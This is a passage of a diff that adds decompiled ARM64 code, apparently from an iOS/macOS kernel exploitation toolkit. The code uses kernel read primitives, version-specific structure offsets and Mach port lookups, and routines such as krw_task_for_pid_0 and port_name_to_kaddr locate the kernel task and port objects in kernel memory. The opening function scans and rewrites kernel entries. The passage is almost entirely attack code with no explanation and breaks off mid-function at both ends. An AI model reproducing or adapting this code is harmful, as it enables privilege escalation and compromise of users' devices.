0x30); + v5 = *(_QWORD **)(a1 + 0x48); + v6 = mach_thread_self(); + if ( sub_2515C(v6) ) + { + v7 = *(_DWORD *)(a1 + 0x38); + v8 = v7 + 8; + if ( !v7 ) + { + v8 = 0x3700; + v7 = 0x3300; + } + *(_BYTE *)a1 = 1; + do + { + if ( v7 < v8 ) + { + v9 = v7; + while ( 1 ) + { + v10 = (_QWORD *)(v2 + v9); + v11 = *v10 >= 0xFFFF000000000001LL && (*v10 & v4) == 0; + if ( v11 && !*((_DWORD *)v10 + 0xFFFFFFFF) ) + { + v12 = v10[0xFFFFFFFE]; + v13 = v12 < v3 || v12 >= v3 + 0x4000; + if ( !v13 && (v10[0xFFFFFFFE] & 7LL) == 0 ) + { + v15 = v10[0xFFFFFFFE] & 0x3FFFLL; + if ( !*(_DWORD *)(v2 + v15) && v10[0xFFFFFFFD] >= 0xFFFF000000000001LL && (v10[0xFFFFFFFD] & 0xFLL) == 0 ) + { + v17 = v15 + 4; + if ( (*(_DWORD *)(v2 + v17) & 0xFFFCC0F9) == 1 ) + break; + } + } + } + v9 += 8; + if ( v9 >= v8 ) + goto LABEL_29; + } + if ( v3 == *v5 ) + { + *v10 = *(_QWORD *)(a1 + 0x10); + if ( !*(_BYTE *)(a1 + 0x28) ) + { + do + { + v18 = *(_DWORD *)(v2 + v17); + if ( (v18 & 0x1000001) != 1 ) + break; + if ( (v18 & 0x4000000) != 0 ) + *(_DWORD *)(v2 + v17) = v18 & 0xFBFFFFFF; + } + while ( !*(_BYTE *)(a1 + 1) ); + } + *(_BYTE *)(a1 + 1) = 1; + *(_DWORD *)(a1 + 0x3C) = v9; + } + else + { + *(_BYTE *)(a1 + 1) = 1; + } + } +LABEL_29: + ; + } + while ( !*(_BYTE *)(a1 + 1) ); + } + return 0LL; +} + +//----- (0000000000032538) ---------------------------------------------------- +_QWORD *__fastcall sub_32538(_DWORD *a1, unsigned int *a2) +{ + unsigned int v4; // w8 + unsigned int v5; // w9 + int v6; // w10 + int v7; // w9 + unsigned int v8; // w21 + _QWORD *result; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( krw_ctx_has_flag(a1, 0x5184001) && (v4 = *a2, *a2 >= 0x1FF9) ) + { + v5 = a1[0x60]; + v6 = v4 % v5; + v7 = v5 - v4 % v5; + if ( !v6 ) + v7 = 0; + v8 = v7 + v4; + result = sub_36C10(a1, v7 + v4); + if ( result ) + *a2 = v8; + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return (_QWORD *)sub_37210((__int64)a1, a2); + } + return result; +} +// 325CC: variable 'vars8' is possibly undefined + +//----- (00000000000325DC) ---------------------------------------------------- +void __fastcall sub_325DC(unsigned int *a1) +{ + unsigned __int64 v2; // x20 + __int64 v3; // x21 + __int64 vars8; // [xsp+28h] [xbp+8h] + + if ( *a1 ) + { + v2 = 0LL; + v3 = 8LL; + do + { + sub_2F9D4(*(_DWORD **)(*((_QWORD *)a1 + 1) + v3)); + ++v2; + v3 += 0x10LL; + } + while ( v2 < *a1 ); + } + free(*((void **)a1 + 1)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); +} +// 32640: variable 'vars8' is possibly undefined + +//----- (0000000000032650) ---------------------------------------------------- +__int64 __fastcall sub_32650(unsigned int *a1, int a2, __int64 a3) +{ + unsigned int v6; // w8 + unsigned int v7; // w9 + char *v8; // x0 + __int64 v9; // x22 + char *v10; // x9 + __int64 result; // x0 + + v6 = *a1; + v7 = a1[1]; + if ( *a1 < v7 ) + { + v8 = (char *)*((_QWORD *)a1 + 1); +LABEL_5: + v10 = &v8[0x10 * v6]; + *(_DWORD *)v10 = a2; + *((_QWORD *)v10 + 1) = a3; + result = v6 + 1; + *a1 = result; + return result; + } + v9 = 2 * v7; + v8 = (char *)realloc(*((void **)a1 + 1), 0x10 * v9); + if ( v8 ) + { + a1[1] = v9; + *((_QWORD *)a1 + 1) = v8; + v6 = *a1; + goto LABEL_5; + } + return 0xFFFFFFFFLL; +} + +//----- (00000000000326D0) ---------------------------------------------------- +_QWORD *sub_326D0() +{ + _QWORD *v0; // x19 + void *v1; // x0 + + v0 = malloc(0x10uLL); + if ( v0 ) + { + v1 = malloc(0x40uLL); + if ( v1 ) + { + v0[1] = v1; + *v0 = 0x400000000LL; + } + else + { + free(v0); + return 0LL; + } + } + return v0; +} + +//----- (000000000003272C) ---------------------------------------------------- +__int64 __fastcall sub_3272C(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4) +{ + unsigned __int64 v8; // x26 + unsigned int v9; // w27 + ssize_t v10; // x0 + bool v11; // cf + unsigned __int64 v12; // x8 + __int64 result; // x0 + int v14; // w19 + int v15; // w8 + + if ( a3 ) + { + v8 = 0LL; + while ( 2 ) + { + v9 = 0; + while ( 1 ) + { + v10 = pread(__fd, (void *)(a2 + v8), a3 - v8, v8 + a4); + if ( v10 != 0xFFFFFFFFFFFFFFFFLL ) + break; + if ( *__error() == 4 ) + { + v11 = v9++ >= 0x64; + if ( !v11 ) + continue; + } + goto LABEL_15; + } + v12 = v10; + if ( v10 < 0 ) + { +LABEL_15: + v14 = *__error(); + v15 = *__error(); + if ( v14 < 0 ) + v15 = -v15; + return v15 | 0x40000000u; + } + result = 0xAD014LL; + if ( v12 > a3 ) + return result; + v11 = __CFADD__(v12, v8); + v8 += v12; + if ( v11 || v8 > a3 ) + return result; + if ( v8 < a3 ) + continue; + break; + } + } + return 0LL; +} + +//----- (0000000000032820) ---------------------------------------------------- +__int64 __fastcall sub_32820(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + bool v5; // zf + int v6; // w9 + __int64 v8; // x8 + + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 <= 0x1F53 ) + { + if ( v4 == 0x1809 || v4 == 0x1C1B ) + { + v8 = 0x68LL; + } + else + { + if ( v4 != 0x1F53 ) + return result; + v8 = 0x58LL; + } + return v8 + a2; + } + if ( v4 > 0x225B ) + { + v5 = v4 == 0x225C; + v6 = 0x2712; + } + else + { + v5 = v4 == 0x1F54; + v6 = 0x2258; + } + if ( v5 || v4 == v6 ) + { + v8 = 0x48LL; + return v8 + a2; + } + return result; +} + +//----- (00000000000328A4) ---------------------------------------------------- +__int64 __fastcall sub_328A4(__int64 a1, unsigned __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x8 + int v6; // [xsp+4h] [xbp-1Ch] BYREF + __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + if ( !kread32_outptr(a1, a2, &v6) ) + return 0LL; + result = sub_32820(a1, a2); + if ( !result ) + return result; + if ( !(unsigned int)kread64(a1, result, &v7) ) + return 0LL; + result = validate_addr(a1, v7); + if ( !result ) + return result; + v5 = *(_QWORD *)(a1 + 0x158); + if ( v5 >= 0x27120000000000LL ) + { + if ( (v6 & 0x3FFu) > 0x29 || ((1LL << v6) & 0x20068000000LL) == 0 ) + return v7; + if ( !(unsigned int)kread64(a1, v7 + 0x30, &v7) ) + return 0LL; + v5 = *(_QWORD *)(a1 + 0x158); + } + if ( v5 > 0x1F52FFFFFFFFFFLL || (v6 & 0x400) == 0 ) + return v7; + if ( (unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v7) ) + { + result = validate_addr(a1, v7); + if ( !result ) + return result; + return v7; + } + return 0LL; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000329B8) ---------------------------------------------------- +__int64 __fastcall sub_329B8(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w9 + bool v5; // zf + int v6; // w8 + __int64 v7; // x8 + bool v9; // cc + + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 <= 0x1F53 ) + { + switch ( v4 ) + { + case 0x1809: + v9 = *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL; + v7 = 0x98LL; + if ( v9 ) + v7 = 0x90LL; + break; + case 0x1C1B: + v7 = 0x90LL; + break; + case 0x1F53: + v7 = 0x80LL; + break; + default: + return result; + } + return v7 + a2; + } + if ( v4 > 0x225B ) + { + v5 = v4 == 0x225C; + v6 = 0x2712; + } + else + { + v5 = v4 == 0x1F54; + v6 = 0x2258; + } + if ( v5 || v4 == v6 ) + { + v7 = 0x70LL; + return v7 + a2; + } + return result; +} + +//----- (0000000000032A64) ---------------------------------------------------- +__int64 __fastcall sub_32A64(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w9 + bool v5; // zf + int v6; // w8 + __int64 v7; // x8 + bool v9; // cc + + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 <= 0x1F53 ) + { + switch ( v4 ) + { + case 0x1809: + v9 = *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL; + v7 = 0xA8LL; + if ( v9 ) + v7 = 0xA0LL; + break; + case 0x1C1B: + v7 = 0xA0LL; + break; + case 0x1F53: + v7 = 0x90LL; + break; + default: + return result; + } + return v7 + a2; + } + if ( v4 > 0x225B ) + { + v5 = v4 == 0x225C; + v6 = 0x2712; + } + else + { + v5 = v4 == 0x1F54; + v6 = 0x2258; + } + if ( v5 || v4 == v6 ) + { + v7 = 0x80LL; + return v7 + a2; + } + return result; +} + +//----- (0000000000032B10) ---------------------------------------------------- +__int64 __fastcall sub_32B10(__int64 a1) +{ + host_t v2; // w0 + kern_return_t v3; // w19 + mach_msg_type_number_t info_outCnt; // [xsp+Ch] [xbp-24h] BYREF + integer_t info_out; // [xsp+10h] [xbp-20h] BYREF + host_t host; // [xsp+18h] [xbp-18h] BYREF + processor_set_name_t default_set; // [xsp+1Ch] [xbp-14h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + host = 0; + info_outCnt = 2; + if ( *(_BYTE *)(a1 + 0xA) && getuid() ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return mach_host_self(); + } + else + { + v2 = mach_host_self(); + v3 = processor_set_default(v2, &default_set); + if ( !v3 ) + { + v3 = processor_set_info(default_set, 5, &host, &info_out, &info_outCnt); + mach_port_deallocate(mach_task_self_, default_set); + } + if ( v3 == 0x35 ) + return mach_host_self(); + else + return host; + } +} + +//----- (0000000000032BC8) ---------------------------------------------------- +__int64 __fastcall sub_32BC8(__int64 a1) +{ + __int64 v1; // x8 + int v2; // w9 + bool v3; // zf + int v4; // w10 + + v1 = *(unsigned int *)(a1 + 0x174); + if ( (_DWORD)v1 ) + return v1; + v2 = *(_DWORD *)(a1 + 0x140); + if ( v2 <= 0x1F53 ) + { + switch ( v2 ) + { + case 0x1809: + if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A095FFFFFuLL ) + v1 = 0xB0LL; + else + v1 = 0xA8LL; + break; + case 0x1C1B: + v1 = 0xA8LL; + break; + case 0x1F53: + v1 = 0xA0LL; + break; + default: + return v1; + } +LABEL_20: + *(_DWORD *)(a1 + 0x174) = v1; + return v1; + } + if ( v2 > 0x225B ) + { + v3 = v2 == 0x225C; + v4 = 0x2712; + } + else + { + v3 = v2 == 0x1F54; + v4 = 0x2258; + } + if ( v3 || v2 == v4 ) + { + v1 = 0x90LL; + goto LABEL_20; + } + return v1; +} + +//----- (0000000000032C78) ---------------------------------------------------- +unsigned __int64 __fastcall port_name_to_kaddr(__int64 a1, unsigned int a2) +{ + mach_port_t v4; // w21 + unsigned __int64 result; // x0 + bool v6; // zf + __int64 vars8; // [xsp+28h] [xbp+8h] + + v4 = mach_task_self_; + if ( mach_task_self_ != a2 || (result = *(_QWORD *)(a1 + 0x1B0)) == 0 ) + { + if ( a2 == 0xFFFFFFFF ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_32D24(a1); + } + else + { + result = task_get_ipc_port(a1, mach_task_self_, a2); + if ( result ) + { + result = sub_328A4(a1, result); + v6 = v4 != a2 || result == 0; + if ( !v6 && !*(_QWORD *)(a1 + 0x1B0) ) + *(_QWORD *)(a1 + 0x1B0) = result; + } + } + } + return result; +} +// 32D14: variable 'vars8' is possibly undefined +// 32D24: using guessed type __int64 __fastcall sub_32D24(_QWORD); + +//----- (0000000000032D24) ---------------------------------------------------- +unsigned __int64 __fastcall sub_32D24(__int64 a1) +{ + __int64 v1; // x8 + unsigned __int64 v3; // x1 + unsigned int v4; // w1 + + v1 = *(_QWORD *)(a1 + 0x19D8); + if ( v1 ) + return v1; + v3 = *(_QWORD *)(a1 + 0x19D0); + if ( v3 ) + return sub_328A4(a1, v3); + v4 = *(_DWORD *)(a1 + 0x191C); + if ( v4 == 0xFFFFFFFF ) + return 0LL; + if ( !v4 ) + { + v4 = *(_DWORD *)(a1 + 0x1918); + if ( v4 + 1 < 2 ) + return 0LL; + } + return port_name_to_kaddr(a1, v4); +} + +//----- (0000000000032D6C) ---------------------------------------------------- +__int64 __fastcall sub_32D6C(__int64 a1, unsigned int a2) +{ + return task_get_ipc_port(a1, mach_task_self_, a2); +} + +//----- (0000000000032D80) ---------------------------------------------------- +__int64 __fastcall sub_32D80(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + bool v5; // cc + __int64 v6; // x8 + __int64 v7; // x9 + __int64 v10; // [xsp+8h] [xbp-18h] BYREF + + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 <= 0x2257 ) + { + if ( (unsigned int)(v4 - 0x1F53) < 2 ) + { + v5 = *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL; + v6 = 0x330LL; + v7 = 0x308LL; +LABEL_16: + if ( v5 ) + v6 = v7; + goto LABEL_20; + } + if ( v4 != 0x1809 ) + { + if ( v4 != 0x1C1B ) + return result; + v5 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; + v6 = 0x330LL; + v7 = 0x338LL; + goto LABEL_16; + } + v6 = 0x320LL; +LABEL_20: + if ( !(unsigned int)kread64(a1, v6 + a2, &v10) ) + return 0LL; + if ( validate_addr(a1, v10) ) + return v10; + return 0LL; + } + if ( v4 == 0x2258 || v4 == 0x225C || v4 == 0x2712 ) + { + v6 = 0x300LL; + goto LABEL_20; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000032E84) ---------------------------------------------------- +__int64 __fastcall sub_32E84(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 > 0x2257 ) + { + if ( v3 == 0x2258 || v3 == 0x225C || v3 == 0x2712 ) + return 0x2B8LL; + } + else if ( (unsigned int)(v3 - 0x1F53) < 2 ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + return 0x2E8LL; + else + return 0x2C0LL; + } + else if ( v3 == 0x1809 ) + { + return 0x2D0LL; + } + else if ( v3 == 0x1C1B ) + { + return 0x2E0LL; + } + return result; +} + +//----- (0000000000032F1C) ---------------------------------------------------- +__int64 __fastcall sub_32F1C(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + unsigned __int64 v4; // x20 + _BOOL4 has_flag; // w0 + unsigned int v6; // w9 + unsigned int v7; // w10 + bool v9; // cc + unsigned int v10; // w8 + unsigned int v11; // w9 + _BOOL4 v12; // w0 + unsigned __int64 v13; // x8 + bool v14; // cc + unsigned int v15; // w8 + unsigned int v16; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x2257 ) + { + if ( (unsigned int)(v3 - 0x1F53) >= 2 ) + { + if ( v3 == 0x1809 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + return 0x388LL; + else + return 0x380LL; + } + else if ( v3 == 0x1C1B ) + { + v4 = *(_QWORD *)(a1 + 0x158); + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + if ( has_flag ) + v6 = 0x3A0; + else + v6 = 0x390; + if ( has_flag ) + v7 = 0x3B0; + else + v7 = 0x398; + if ( v4 >= 0x1C1B1914600000LL ) + return v7; + else + return v6; + } + return result; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) + { + v12 = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); + v13 = *(_QWORD *)(a1 + 0x158); + v14 = v13 > 0x1F530F027FFFFFLL; + if ( v13 <= 0x1F530F027FFFFFLL ) + v15 = 0x3A0; + else + v15 = 0x378; + if ( v14 ) + v16 = 0x390; + else + v16 = 0x3B8; + if ( v12 ) + return v16; + else + return v15; + } + v9 = *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL; + v10 = 0x3C8; + v11 = 0x3A0; +LABEL_27: + if ( v9 ) + return v11; + else + return v10; + } + if ( v3 == 0x2258 ) + { + v9 = *(_QWORD *)(a1 + 0x158) > 0x22580F032FFFFFuLL; + v10 = 0x530; + v11 = 0x538; + goto LABEL_27; + } + if ( v3 == 0x225C || v3 == 0x2712 ) + return 0x730LL; + return result; +} + +//----- (0000000000033098) ---------------------------------------------------- +__int64 __fastcall sub_33098(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x225B ) + { + if ( (unsigned int)(v3 - 0x1F53) < 2 ) + { + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + return 0LL; + else + return (unsigned int)sub_32F1C(a1) + 8; + } + if ( v3 != 0x2258 ) + return result; + goto LABEL_11; + } + if ( v3 == 0x225C || v3 == 0x2712 ) + { +LABEL_11: + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) + { + return 0x3A0LL; + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + return 0x388LL; + } + else + { + return 0x370LL; + } + } + return result; +} + +//----- (0000000000033168) ---------------------------------------------------- +__int64 __fastcall sub_33168(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x225B ) + { + if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) + return result; +LABEL_7: + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + return 0LL; + else + return 0x28LL; + } + if ( v3 == 0x2712 || v3 == 0x225C ) + goto LABEL_7; + return result; +} + +//----- (00000000000331D0) ---------------------------------------------------- +__int64 __fastcall sub_331D0(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + if ( v3 <= 0x225B ) + { + if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) + return result; +LABEL_7: + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + return 0LL; + else + return 0x70LL; + } + if ( v3 == 0x2712 || v3 == 0x225C ) + goto LABEL_7; + return result; +} + +//----- (0000000000033238) ---------------------------------------------------- +__int64 __fastcall sub_33238(__int64 a1) +{ + __int64 result; // x0 + + result = sub_331D0(a1); + if ( (_DWORD)result ) + return (unsigned int)(result - *(_DWORD *)(a1 + 0x168)); + return result; +} + +//----- (0000000000033268) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33268(__int64 a1, unsigned int a2) +{ + int v4; // w0 + unsigned int v5; // w21 + unsigned __int64 result; // x0 + + if ( *(int *)(a1 + 0x140) >= 0x2258 ) + { + v4 = sub_33098(a1); + if ( v4 ) + { + v5 = v4 - *(_DWORD *)(a1 + 0x168); + goto LABEL_5; + } + return 0LL; + } + v5 = sub_32F1C(a1); + if ( !v5 ) + return 0LL; +LABEL_5: + result = port_name_to_kaddr(a1, a2); + if ( result ) + result += v5 + ((__int64)*(int *)(a1 + 0x168) << (*(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL)); + return result; +} + +//----- (0000000000033304) ---------------------------------------------------- +__int64 __fastcall sub_33304(__int64 a1, __int64 a2) +{ + unsigned int v4; // w0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v4 = sub_32F1C(a1); + if ( !v4 ) + return 0LL; + if ( *(int *)(a1 + 0x140) >= 0x2258 ) + return a2 - v4; + if ( !(unsigned int)kread64(a1, v4 + a2, &v6) || !v6 ) + return 0LL; + if ( validate_addr(a1, v6) ) + return v6; + return 0LL; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (000000000003338C) ---------------------------------------------------- +__int64 __fastcall sub_3338C(__int64 a1) +{ + __int64 result; // x0 + int v3; // w10 + __int64 v4; // x9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 0x140); + v4 = 0x28LL; + if ( v3 <= 0x2257 ) + { + if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x1809 ) + { + if ( v3 != 0x1C1B ) + return result; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + return 0x28LL; + else + return 0x20LL; + } + return v4; + } + if ( v3 == 0x2258 || v3 == 0x225C || v3 == 0x2712 ) + return v4; + return result; +} + +//----- (0000000000033414) ---------------------------------------------------- +__int64 __fastcall krw_task_for_pid_0(__int64 a1, __int64 a2, int a3) +{ + return sub_3341C(a1, a2, a3, 0LL); +} + +//----- (000000000003341C) ---------------------------------------------------- +__int64 __fastcall sub_3341C(__int64 a1, __int64 a2, int a3, const char *a4) +{ + int v7; // w8 + __int64 result; // x0 + __int64 v10; // x24 + __int64 v11; // x25 + int v16; // w0 + int v17; // w23 + int v18; // w20 + __int64 v19; // x0 + unsigned __int64 v20; // x26 + __int64 v21; // x8 + __int64 v22; // x27 + int v23; // w28 + __int64 v24; // x23 + unsigned __int64 v25; // x20 + __int64 v26; // x1 + __int64 v27; // x0 + unsigned __int64 v28; // x0 + __int64 v29; // x0 + int v31; // [xsp+4h] [xbp-8Ch] BYREF + __int64 v32; // [xsp+8h] [xbp-88h] BYREF + char __s1[8]; // [xsp+10h] [xbp-80h] BYREF + unsigned __int64 v34; // [xsp+18h] [xbp-78h] + __int64 v35; // [xsp+20h] [xbp-70h] + + v7 = *(_DWORD *)(a1 + 0x140); + result = 0LL; + if ( a4 ) + { + if ( v7 == 0x2258 ) + { + v11 = 0x381LL; + v10 = 0LL; + } + else + { + if ( v7 != 0x2712 && v7 != 0x225C ) + return result; + v10 = 0LL; + v11 = 0x579LL; + } + } + else if ( v7 > 0x2257 ) + { + if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) + return result; + v11 = 0LL; + v10 = 0x60LL; + } + else + { + if ( (unsigned int)(v7 - 0x1F53) >= 2 && v7 != 0x1809 && v7 != 0x1C1B ) + return result; + v10 = 0x68LL; + v11 = 0LL; + } + v16 = sub_3338C(a1); + if ( !v16 ) + return 0LL; + v17 = v16; + v18 = *(_DWORD *)(a1 + 0x168); + v19 = *(_QWORD *)(a1 + 0x19F8); + if ( v19 ) + { + sub_19B98("__DATA", v19, __s1); + result = 0LL; + v20 = v34; + if ( !v34 ) + return result; + v21 = v35; + if ( !v35 ) + return result; + v22 = *(_QWORD *)__s1; + } + else + { + v21 = 0LL; + v20 = 0LL; + v22 = 0LL; + } + v23 = 0; + v24 = (unsigned int)(v18 + v17); + v25 = v20 + v21; + while ( 2 ) + { + v32 = a2; + v26 = a2; + do + { + v27 = sub_33304(a1, v26); + if ( v27 ) + { + if ( a4 ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v11, 0x21LL, (__int64)__s1) ) + return 0LL; + if ( !strncmp(__s1, a4, 0x21uLL) ) + return v32; + } + else + { + if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v10, 4LL, (__int64)&v31) ) + return 0LL; + if ( v31 == a3 ) + return v32; + } + } + if ( !(unsigned int)kread64(a1, v32 + v24, &v32) ) + return 0LL; + v28 = validate_addr(a1, v32); + v32 = v28; + if ( !v28 ) + break; + v26 = v28; + if ( v22 && v28 >= v20 && v28 < v25 ) + { + if ( !(unsigned int)kread64(a1, v28, &v32) ) + return 0LL; + v29 = validate_addr(a1, v32); + v32 = v29; + if ( !v29 ) + break; + v26 = v29; + } + } + while ( v26 != a2 ); + sub_2AABC(a1, 0x3D090u); + result = 0LL; + if ( ++v23 != 6 ) + continue; + break; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000336AC) ---------------------------------------------------- +__int64 __fastcall krw_task_for_name(__int64 a1, __int64 a2, const char *a3) +{ + return sub_3341C(a1, a2, 0, a3); +} + +//----- (00000000000336B8) ---------------------------------------------------- +__int64 __fastcall sub_336B8(__int64 a1, __int64 a2, _DWORD *a3, _DWORD *a4) +{ + __int64 result; // x0 + int v9; // w8 + __int64 v11; // x23 + unsigned __int64 v14; // x1 + unsigned __int64 v15; // x1 + unsigned __int64 v16; // [xsp+0h] [xbp-40h] BYREF + unsigned int v17; // [xsp+Ch] [xbp-34h] BYREF + + result = 0LL; + v17 = 0; + v9 = *(_DWORD *)(a1 + 0x140); + if ( v9 > 0x2257 ) + { + if ( v9 != 0x2258 && v9 != 0x2712 && v9 != 0x225C ) + return result; + } + else if ( (unsigned int)(v9 - 0x1F53) >= 2 ) + { + if ( v9 != 0x1809 && v9 != 0x1C1B ) + return result; + v11 = 0x14LL; + goto LABEL_18; + } + v11 = 8LL; +LABEL_18: + if ( !(unsigned int)kread64(a1, a2 + 0x20, &v16) ) + return 0LL; + v14 = v16; + if ( !v16 ) + return 0LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x22580A06BFFFFFuLL ) + { + v14 = sub_2A200(a1, v16, &v17); + v16 = v14; + } + result = validate_addr(a1, v14); + v16 = result; + if ( result ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x22580A06BFFFFFuLL ) + { + if ( *(int *)(a1 + 0x140) < 0x1F02 ) + v15 = v11 + a2; + else + v15 = result + v11; + if ( kread32_outptr(a1, v15, &v17) ) + goto LABEL_30; + } + else if ( v17 ) + { + v17 /= 0x18u; +LABEL_30: + *a3 = v17; + *a4 = 0x18; + return v16; + } + return 0LL; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (000000000003382C) ---------------------------------------------------- +__int64 __fastcall sub_3382C(__int64 a1, mach_port_name_t a2, _DWORD *a3, _DWORD *a4) +{ + __int64 v8; // x1 + __int64 result; // x0 + unsigned __int64 v10; // x1 + __int64 v11; // x0 + __int64 v12; // x23 + task_t v13; // w0 + __int64 v14; // x23 + int v15; // w8 + __int64 v16; // x8 + unsigned __int64 v17; // x0 + __int64 v18; // x0 + mach_port_t init_port_set; // [xsp+4h] [xbp-3Ch] BYREF + int x[2]; // [xsp+8h] [xbp-38h] BYREF + + if ( mach_task_self_ == a2 ) + { + v8 = *(_QWORD *)(a1 + 0x1A0); + if ( v8 ) + return sub_336B8(a1, v8, a3, a4); + } + v10 = *(_QWORD *)(a1 + 0x19D0); + if ( !v10 ) + return 0LL; + v11 = sub_328A4(a1, v10); + if ( !v11 ) + return 0LL; + v12 = v11; + v13 = *(_DWORD *)(a1 + 0x1918); + if ( v13 + 1 <= 1 ) + { + x[0] = 0; + if ( !pid_for_task(a2, x) ) + { + v14 = sub_3341C(a1, v12, x[0], 0LL); + if ( v14 ) + goto LABEL_9; + } + return 0LL; + } + init_port_set = a2; + if ( mach_ports_register(v13, &init_port_set, 1u) ) + return 0LL; + v15 = *(_DWORD *)(a1 + 0x140); + if ( v15 == 0x1809 ) + { + v16 = 0x308LL; + } + else + { + if ( v15 != 0x1C1B ) + return 0LL; + v16 = 0x318LL; + } + if ( !(unsigned int)kread64(a1, v16 + v12, x) ) + return 0LL; + v17 = validate_addr(a1, *(__int64 *)x); + if ( !v17 ) + return 0LL; + v18 = sub_328A4(a1, v17); + if ( !v18 ) + return 0LL; + v14 = v18; + init_port_set = 0; + if ( mach_ports_register(*(_DWORD *)(a1 + 0x1918), &init_port_set, 1u) ) + return 0LL; +LABEL_9: + result = sub_32D80(a1, v14); + if ( result ) + { + v8 = result; + if ( mach_task_self_ == a2 ) + *(_QWORD *)(a1 + 0x1A0) = result; + return sub_336B8(a1, v8, a3, a4); + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000339B4) ---------------------------------------------------- +__int64 __fastcall sub_339B4(__int64 a1, mach_port_name_t a2, unsigned int a3) +{ + __int64 result; // x0 + int v5; // [xsp+8h] [xbp-18h] BYREF + unsigned int v6; // [xsp+Ch] [xbp-14h] BYREF + + if ( a3 + 1 < 2 ) + return 0LL; + result = sub_3382C(a1, a2, &v6, &v5); + if ( !result ) + return result; + if ( a3 >> 8 >= v6 ) + return 0LL; + result += v5 * (a3 >> 8); + return result; +} + +//----- (0000000000033A1C) ---------------------------------------------------- +__int64 __fastcall sub_33A1C(__int64 a1, unsigned int a2) +{ + return sub_339B4(a1, mach_task_self_, a2); +} + +//----- (0000000000033A30) ---------------------------------------------------- +__int64 __fastcall task_get_ipc_port(__int64 a1, mach_port_name_t a2, unsigned int a3) +{ + __int64 result; // x0 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + result = sub_339B4(a1, a2, a3); + if ( result ) + { + if ( (unsigned int)kread64(a1, result, &v5) ) + return validate_addr(a1, v5); + else + return 0LL; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000033A88) ---------------------------------------------------- +__int64 __fastcall sub_33A88(__int64 a1, __int64 a2, char a3) +{ + __int64 